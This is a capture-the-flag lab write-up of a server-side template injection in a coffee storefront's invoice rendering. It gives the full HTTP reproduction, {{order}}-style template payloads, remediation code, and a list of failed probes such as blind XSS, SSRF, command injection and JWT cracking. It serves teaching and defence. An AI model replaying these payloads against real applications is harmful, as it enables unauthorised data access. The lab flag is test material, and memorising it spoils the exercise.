BugForge — 2026.10.14

CafeClub: Server-Side Template Injection in Invoice Rendering

BugForge Server-Side Template Injection easy

Executive Summary

CafeClub is a coffee storefront built on a React/MUI single-page frontend and an Express (Node.js) API, with authentication via an HS256 JWT bearer token held in localStorage. The order invoice at GET /api/orders/:id/invoice is generated server-side as plain text, and the customer-supplied delivery_instructions field is compiled through a lightweight {{ }} template engine before being written into that invoice. An authenticated user who places an order with delivery_instructions set to a reference to the in-context order object has that reference resolved and rendered back in the invoice response. This is a server-side template injection.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 Server-side template injection in delivery_instructions rendered by the invoice Medium 4.3 CWE-1336, CWE-200 POST /api/checkout → GET /api/orders/:id/invoice

The flag-bearing finding is F1. Sending delivery_instructions = {{order}} renders number, date, total in the invoice, and {{order.total}} renders 21.99, confirming the engine resolves references against a server-side order context. A BugForge tripwire appends a line to the invoice on any resolving reference, disclosing the flag bug{Kiur0xqYntxiguDRO4HeE7tsepPhT7j9}. The demonstrated read is limited to the attacker’s own order fields, which holds the rating at Medium; the engine evaluated no arithmetic and supported no block helpers, so remote code execution was not demonstrated and the finding is not rated higher.


Objective

Identify and exploit the intended vulnerability in the CafeClub lab and recover the flag.


Scope / Initial Access

# Target Application
URL: https://lab-1791916649841-o2dbc6.labs-app.bugforge.io
# (ephemeral instance, ~40 min TTL; the bundle and behavior are identical across rotations)

# Auth details
# Open self-registration: POST /api/register returns an HS256 JWT.
# Token claims: {id, username, iat} (no exp). Carried as Authorization: Bearer <jwt>.
# Test account: ssti_t1 (id 5), role "user". Prices in EUR.

Registration is open and self-service: any visitor can create an account and immediately hold a valid bearer token for the authenticated endpoints. The invoice and checkout endpoints require that token.


Reconnaissance: Reading the Order and Invoice Flow

The frontend ships a live source map (main.7379625c.js.map), which exposed the full client source and the API shape. The order flow is cart, then checkout, then an invoice endpoint that returns a server-generated text/plain document.

Facts that shaped the test plan:

  1. GET /api/orders/:id/invoice returns a server-generated plain-text invoice, not a client-rendered view. The Customer and Ship to lines are read live from the profile at render time (an updated profile name shows up on an old order’s invoice), and the Delivery instructions line reflects the delivery_instructions stored at checkout.
  2. The delivery_instructions field is validated server-side: non-string or over 1000 characters returns 400 "Delivery instructions must be text under 1000 characters". An empty value renders as None supplied.
  3. A background job advances order status (pending → confirmed → roasting → shipped → delivered) on a roughly two-minute cron, independent of instruction content. No part of that lifecycle fetches or renders the instructions through a browser (see Failed Approaches).
  4. The creator hints pointed squarely at this field and at template syntax: “Make sure you leave some delivery instructions”, then “{{ might help”, then “the payload is quite specific to the object you’re injecting into”.

Application Architecture

Component Detail
Backend Express (Node.js) JSON API on AWS EC2 (us-east-2)
Frontend React / MUI single-page app (bundle main.7379625c.js, live source map)
Auth HS256 JWT bearer in localStorage.token; claims {id, username, iat}, no exp
Invoice GET /api/orders/:id/invoice, server-generated text/plain, profile read live

API Surface

Endpoint Method Auth Notes
/api/register POST No Open self-registration, returns JWT
/api/cart POST Yes Adds {product_id, quantity}; checkout requires a non-empty cart
/api/checkout POST Yes Stores delivery_instructions (the template injection sink)
/api/orders/:id GET Yes Ownership-scoped
/api/orders/:id/invoice GET Yes Renders delivery_instructions; ?download=1 adds Content-Disposition only
/api/profile/avatar/import POST Yes Server-side fetch of a supplied URL (incidental SSRF, see note below)

Known Users

Username ID Role
ssti_t1 5 user

Attack Chain Visualization

┌───────────────────────┐   ┌──────────────────────────┐   ┌─────────────────────────────┐   ┌──────────────────────────────┐
│ 1. POST /api/register │   │ 2. POST /api/cart        │   │ 3. POST /api/checkout       │   │ 4. GET /api/orders/7/invoice │
│ self-register         │──▶│ product_id 4, quantity 1 │──▶│ delivery_instructions =     │──▶│ engine resolves {{order}}    │
│ → JWT (id 5)          │   │ → non-empty cart         │   │ {{order}} / {{order.total}} │   │ → rendered value + flag      │
│                       │   │                          │   │ stored on order 7           │   │ bug{Kiur0x…T7j9}             │
└───────────────────────┘   └──────────────────────────┘   └─────────────────────────────┘   └──────────────────────────────┘

Findings

F1: Server-side template injection in delivery_instructions rendered by the invoice

Severity: Medium CVSS v3.1: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) CWE: CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine), CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) Endpoint: POST /api/checkout (sink) → GET /api/orders/:id/invoice (render) Authentication required: Yes

Description

The delivery_instructions value supplied at checkout is compiled through a server-side {{ }} template engine when the invoice is generated, rather than being concatenated as inert text. The engine resolves references against a render context that exposes an order object: {{order}} renders the object’s keys and {{order.total}} renders a property value. The field is therefore a template injection sink.

The engine is a lightweight, variable-only interpolator that attempts a lookup only when the brace content is a bare identifier or dotted path. A path that resolves against the context renders its value ({{order}} renders the object’s keys, {{order.total}} renders 21.99); a well-formed identifier that is not present in the context renders empty (in the probe battery below, {{this}}, {{total_amount}}, {{id}}, {{user_id}}, {{status}}, {{delivery_instructions}}, and {{tracking_number}} all rendered empty); and content that is not a valid path, such as arithmetic ({{7*7}}) or block-helper tags ({{#with this}}...{{/with}}, which survive with the inner reference stripped), is passed through verbatim. That verbatim passthrough of arithmetic is why {{7*7}} probing looked like plain string concatenation. This behavior is inconsistent with a full engine such as Handlebars or Nunjucks (which support block helpers and would expose the usual code-execution gadgets); that identification is an inference from the observed outputs, not a confirmed engine fingerprint.

Impact

An authenticated user can read values from the server-side template render context back out of their invoice. As demonstrated this reached the in-context order object; the context was not enumerated further and no remote code execution was shown.

Reproduction

Starting state: a freshly registered account holding a bearer token. One detail of the captured session to flag up front: the profile full_name and address had been set, in a separate step, to arithmetic probes ({{7*7}}, {{6*6}}). The invoice reads those fields live at render time, so Step 4’s Customer and Ship to lines show them. They are off the critical path to the flag (which comes from delivery_instructions); a clean account shows its real name there.

Step 1: Register and obtain a token

POST /api/register HTTP/1.1
Host: lab-1791916649841-o2dbc6.labs-app.bugforge.io
Content-Type: application/json

{"username":"ssti_t1","email":"s1@x.com","password":"password","full_name":"S One","address":"1 S St","phone":"1"}

Response: 200 OK with {"token":"eyJ...","user":{"id":5,"username":"ssti_t1","role":"user",...}}. The token is carried in Authorization: Bearer on the following requests.

Step 2: Add a product to the cart

POST /api/cart HTTP/1.1
Host: lab-1791916649841-o2dbc6.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{"product_id":4,"quantity":1}

Response: 200 OK {"message":"Item added to cart successfully"}. Checkout requires a non-empty cart.

Step 3: Check out with template references in delivery_instructions

POST /api/checkout HTTP/1.1
Host: lab-1791916649841-o2dbc6.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{"points_to_use": 0, "use_gift_card": false, "card_number": "4444 4444 4444 4444", "card_expiry": "12/25", "card_cvc": "123", "delivery_instructions": "P1[{{this}}] P2[{{total_amount}}] P3[{{id}}] P4[{{user_id}}] P5[{{status}}] P6[{{delivery_instructions}}] P7[{{tracking_number}}] P8[{{order}}] P9[{{#with this}}{{total_amount}}{{/with}}]"}

Response: 200 OK {"message":"Order placed successfully","order_id":7,"total":21.99,...}. The probe battery is stored against order 7. (A single {{order}} is sufficient; the battery is shown to make the differential visible in one invoice.)

Step 4: Fetch the invoice

GET /api/orders/7/invoice HTTP/1.1
Host: lab-1791916649841-o2dbc6.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Response: 200 OK, Content-Type: text/plain:

CAFECLUB INVOICE
Order: 7
Placed: 2026-10-13 19:09:57
Customer: C{{7*7}}C
Ship to: A{{6*6}}A

1 x Brazilian Santos @ €21.99

Total paid: €21.99
Delivery instructions:
P1[] P2[] P3[] P4[] P5[] P6[] P7[] P8[number, date, total] P9[{{#with this}}{{/with}}]
Template reference: bug{Kiur0xqYntxiguDRO4HeE7tsepPhT7j9}

Thank you for shopping with CafeClub.

P8[{{order}}] resolved to number, date, total (the keys of the in-context order object), and the tripwire appended the Template reference: line with the flag. The same response shows all three behaviors at once: P8 resolves, P1 through P7 are well-formed identifiers absent from the context and render empty, and the arithmetic in the Customer and Ship to lines ({{7*7}}, {{6*6}}) together with the {{#with}} tags in P9 are not paths and are passed through verbatim.

Minimal payload isolation (each sent as the full delivery_instructions value, invoice checked):

{{order}}                  -> "number, date, total"   (resolves; flag line appended)
{{order.total}}            -> "21.99"                  (resolves; flag line appended)
{{total_amount}}           -> (empty)                  (valid identifier, not on the order context; no flag)
{{7*7}}                    -> {{7*7}}                  (not a path, passed through; no flag)
{{this}}                   -> (empty)                  (root context not the order; no flag)
{{#with this}}x{{/with}}   -> {{#with this}}x{{/with}} (no block helper; no flag)
plain text                 -> plain text               (literal; no flag)

Only a valid named reference to the order object resolves. This is why arithmetic probes looked inert for the bulk of the engagement (see Failed Approaches).

Remediation

Fix 1: Do not compile user input as a template. Treat delivery_instructions as data and concatenate it as a literal string; never pass it to the template compiler.

// BEFORE (Vulnerable): user input is compiled by the template engine
const line = engine.render(order.delivery_instructions, { order });
invoice += `Delivery instructions:\n${line}\n`;

// AFTER (Secure): user input is inert text, never a template
invoice += `Delivery instructions:\n${order.delivery_instructions}\n`;

Fix 2: If a template must be used for the invoice, render a fixed template with user input as bound data, never as the template source.

// Compile a static, developer-owned template once; the user value is a value, not source.
const invoiceTemplate = engine.compile(STATIC_INVOICE_TEMPLATE);
const out = invoiceTemplate({ order, instructions: order.delivery_instructions });

Additional recommendations:

  • Apply the same treatment to the Customer and Ship to fields: full_name and address are also written into the invoice and were only ever tested with arithmetic probes, so a valid context reference in those fields is a plausible second sink and should be confirmed closed.
  • Keep the server-side length and type validation already present on the field.

Incidental observation (not a numbered finding)

POST /api/profile/avatar/import performs a server-side fetch of a supplied URL and is a real but hardened, blind (image-only) server-side request forgery. It is not the flag path here and is already documented in a separate CafeClub writeup (cafe-club-ssrf), so it is not re-scored in this report.


OWASP Top 10 Coverage

  • A03:2021 Injection: Customer-supplied delivery_instructions is interpreted as a server-side template expression rather than data, which is a template injection and a member of the injection class.
  • A04:2021 Insecure Design: Rendering a free-text customer field through a template engine that is handed the live server context is an insecure design choice for what is meant to be a printed note on an invoice.

Tools Used

Tool Purpose
Caido Proxy capture and replay of the cart, checkout, and invoice requests; kill-chain export
curl Initial account registration
interactsh / webhook.site Out-of-band listeners for the blind XSS, SSRF, and command-injection tests (all negative)

References


Failed Approaches

Approach Result Why It Failed
Arithmetic SSTI ({{7*7}}, ${7*7}, <%=7*7%>, #{7*7}) in delivery_instructions Rendered literally in the invoice The engine evaluates no arithmetic and does not treat {{7*7}} as a path, so it is passed through verbatim and looks like plain concatenation. This was the false negative that cost most of the session.
Block helper {{#with this}}...{{/with}} Rendered literally, inner expression stripped No block-helper support; the engine is a variable-only interpolator.
{{this}} (root context reference) Rendered empty The root context is not the order object; a valid named reference (order) is required.
Arithmetic probes in profile full_name / address (also on the invoice) Rendered literally Only arithmetic was tried; a valid context reference was never tested, so this remains a plausible, unconfirmed second sink.
Command injection (shell metacharacters) at checkout and invoice generation No out-of-band hit, baseline timing The field is not passed to a shell.
Time-based SQL injection in delivery_instructions No timing delta on insert or read The value is stored and read through a parameterized query, not interpolated into SQL.
Server-side request forgery via a bare URL in delivery_instructions No out-of-band hit at checkout The field is not fetched server-side at checkout.
Blind XSS rendered by a courier / fulfilment process Two runs across the full order lifecycle (out-of-band beacon plus in-app review exfil), zero interactions No browser renders the instructions during fulfilment; status is advanced by a cron, not a headless browser.
Order / invoice IDOR, cross-user, including ?download=1 404 on every cross-user read The order query is ownership-scoped by the token’s user id.
Verb tampering (PUT / PATCH / DELETE on /api/orders/:id) 404, no state change No write handlers exist on the route.
Invoice representation flip (Accept, format, template, view params) Always text/plain, body unchanged The invoice has a single representation; the handler ignores these parameters.
download parameter as filename or path Only =1 toggles Content-Disposition (strict ===1) It is an attachment flag, not a filename or path argument; no reflection or traversal.
JWT alg:none, and HS256 secret cracking (curated list plus 2M rockyou) Rejected / not found alg:none is rejected; the signing secret is not in the tried wordlists.
Profile mass-assignment (role, points, is_admin) Silently ignored The update is whitelisted to allowed fields.

Tags: #ssti #template-injection #bugforge #cafeclub #webapp #cwe-1336 Document Version: 1.0 Last Updated: 2026-10-14

#ssti #template-injection #information-disclosure #nodejs #express #bugforge